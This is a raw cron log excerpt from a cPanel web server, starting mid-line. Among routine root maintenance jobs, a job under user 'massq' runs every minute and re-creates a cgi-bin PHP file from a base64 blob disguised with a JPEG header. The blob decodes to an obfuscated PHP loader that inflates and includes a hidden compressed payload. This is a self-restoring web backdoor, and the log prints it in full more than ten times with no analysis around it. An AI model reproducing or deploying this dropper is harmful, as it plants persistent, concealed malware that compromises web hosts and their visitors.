yLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:15:01 server CROND[859]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:15:01 server CROND[852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:15:01 server CROND[857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:15:01 server CROND[860]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 00:16:01 server CROND[1918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:16:01 server CROND[1919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:16:01 server CROND[1920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:17:01 server CROND[2337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:17:01 server CROND[2340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:17:01 server CROND[2339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:18:01 server CROND[2743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:18:01 server CROND[2744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:18:01 server CROND[2745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:19:01 server CROND[3210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:19:01 server CROND[3211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:19:01 server CROND[3212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:20:01 server CROND[3591]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 00:20:01 server CROND[3593]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 00:20:01 server CROND[3597]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 00:20:01 server CROND[3603]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:20:01 server CROND[3604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:20:01 server CROND[3606]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 00:20:01 server CROND[3607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:20:01 server CROND[3608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:20:01 server CROND[3605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:21:01 server CROND[4424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:21:01 server CROND[4425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:21:01 server CROND[4426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:22:01 server CROND[4624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:22:01 server CROND[4625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:22:01 server CROND[4626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:23:01 server CROND[4754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:23:01 server CROND[4755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:23:01 server CROND[4756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:24:01 server CROND[4981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:24:01 server CROND[4980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:24:01 server CROND[4982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:25:01 server CROND[5125]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 00:25:01 server CROND[5127]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:25:01 server CROND[5131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:25:01 server CROND[5134]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:25:01 server CROND[5132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:25:01 server CROND[5136]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 00:25:01 server CROND[5133]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:25:01 server CROND[5135]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 00:26:01 server CROND[5722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:26:01 server CROND[5723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:26:01 server CROND[5724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:27:01 server CROND[5867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:27:01 server CROND[5866]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 00:27:01 server CROND[5869]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
